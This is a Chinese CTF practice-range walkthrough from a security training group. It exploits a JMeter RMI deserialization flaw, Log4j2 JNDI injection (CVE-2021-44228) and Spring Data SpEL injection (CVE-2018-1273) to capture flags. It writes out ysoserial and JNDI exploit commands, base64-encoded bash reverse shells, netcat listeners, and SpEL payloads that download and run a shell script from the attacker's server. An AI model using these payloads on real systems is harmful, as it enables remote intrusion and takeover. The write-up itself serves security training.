“Ms08067专注网络安全技能培训 | 竞赛!“
号外号外,"Ms08067练武场" 最强劲的第三批选手打靶思路来啦。
官网链接:http://attck.ms08067.com/
Jmeter RMI 反序列化命令执行漏洞
简介:
Apache JMeter是美国阿帕奇(Apache)软件基金会的一套使用Java语言编写的用于压力测试和性能测 试的开源软件。其2.x版本和3.x版本中存在反序列化漏洞,攻击者可以利用该漏洞在目标服务器上执行 任意命令。
复现
利用ysoserial工具
https://gitcode.com/gh_mirrors/ys/ysoserial/overview?utm_source=highlight_word_gitcode&word =ysoserial
先在自己的vps起个监听
nc -lvvp 7777
然后将反弹shell命令加密
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC8xMjM0IDA+JjE=} |{base64,- d} |{bash,-i}
最后利用ysoserial工具直接执行
java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit 27.25.151.24
20999 BeanShell1 'bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC8xMjM0IDA+JjE=} |{base64,-d} | {bash,-i}'
查看反弹shell即可拿到flag
log4j2 远程代码执行漏洞复现(CVE-2021- 44228)
漏洞简介:
Apache Log4j2是一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该 工具将程序的输入输出信息进行日志记录。
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。该漏洞是 由于Apache Log4j2某些功能存在递归解析功能,导致攻击者可直接构造恶意请求,触发远程代码执行 漏洞,从而获得目标服务器权限。
在java中最常用的日志框架是log4j2和logback,其中log4j2支持lookup功能(查找搜索),这也是一个非常强大的功能,设计之初的目的也是为了方便开发者调用。
例如当开发者想在日志中打印今天的日期,则只需要输出{data:MM-dd-yyyy},此时log4j会将{}中包裹的内容单独处理,将它识别为日期查找,然后将该表达式替换为今天的日期内容输出为“08-22- 2022” ,这样做就不需要开发者自己去编写查找日期的代码。
表达式除了支持日期,还支持输出系统环境变量等功能,这样极大的方便了开发者。但是安全问题往往 就是因为“图方便”引起的,毕竟设计者也是需要在安全性和用户体验之间做个平衡。
其实打印日期,打印系统变量这种对系统而言构不成什么威胁,最终要的原因是log4j还支持JNDI协议。
漏洞适用版本
2.0 <= Apache log4j2 <= 2.14.1
访问:
利用JNDI注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 下载地址为:https://github.com/welk1 n/JNDI-Injection-Exploit/releases/tag/v1.0
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "想要执行的命令" -A "攻击机 的ip"
本次在vps上利用反弹shell
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0OS4xMjgvNzc3NyAwPiYx} |{base64,-d}
起好之后,在vps再起一个监听
nc -lvvp 9999
将之前生成的连接进行尝试
经过测试,红框中的连接成功反弹shell env拿到flag
spring 代码执行 (CVE-2018-1273)
漏洞概述
SpringData是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达 式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
影响范围
Spring Data Commons 1.13 – 1.13.10 (Ingalls SR10) Spring Data REST 2.6 – 2.6.10 (Ingalls SR10) Spring Data Commons 2.0 to 2.0.5 (Kay SR5) Spring Data REST 3.0 – 3.0.5 (Kay SR5)
访问页面
进行目录扫描发现有个users 目录,进行访问
然后利用burp抓包发送到重放模块。
再自己的vps中写一个反弹shell的脚本内容如下:
bash -i >& /dev/tcp/vps地址/端口 0>&1
修改burp抓包容将payload放入请求包中 paylaod1:
username[#this.getClass().forName("java.lang.Runtime").getRuntime().
exec("wget /tmp http://vps地址/写好的反弹shell文件")]=&password=&repeatedPassword=
发送后会显示500
然后再发送一个payload进行执行刚刚写入的shell payload2:
username[#this.getClass().forName("java.lang.Runtime").getRuntime().
exec("bash /shell.sh")]=&password=&repeatedPassword=
反弹shell成功即可读取flag
本文分享自 Ms08067安全实验室 微信公众号,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文参与 腾讯云自媒体同步曝光计划 ,欢迎热爱写作的你一起参与!